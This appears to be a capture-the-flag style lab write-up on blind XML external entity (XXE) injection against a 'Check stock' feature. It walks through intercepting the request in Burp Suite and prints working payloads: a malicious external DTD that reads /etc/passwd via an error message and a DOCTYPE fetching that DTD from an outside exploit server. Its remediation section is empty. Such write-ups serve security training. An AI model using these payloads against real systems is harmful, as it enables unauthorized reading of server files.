SCENARIO

The application has a "Check stock" feature that parses XML input but does not display the result. We will use an external DTD to trigger an error message that displays the contents of the **/etc/passwd** file.

**PROCEDURE**

1. Open the web application and visit any product page.
2. Send a Check Stock request and intercept the POST request in BurpSuite’s Proxy tab.
3. Go to the exploit server and inject the Payload 1 into the file name field and Payload 2 into the body field of the exploit.
4. In the Stock Check request try to study it and based on that we will craft an exploit accordingly and replace the XML data with our Payload 3 and send the request.
5. Replace the XML body of the request in BurpSuite’s Repeater with the Payload and send the request.
6. In the response we got the entire content of the desired file.

**PAYLOAD**

1. /exploit.dtd
2. <!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">

%eval;

%exfil;

1. <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0abc001c0301917081e1d95d01420023.exploit-server.net/exploit.dtd"> %xxe;]>

# REMEDIATION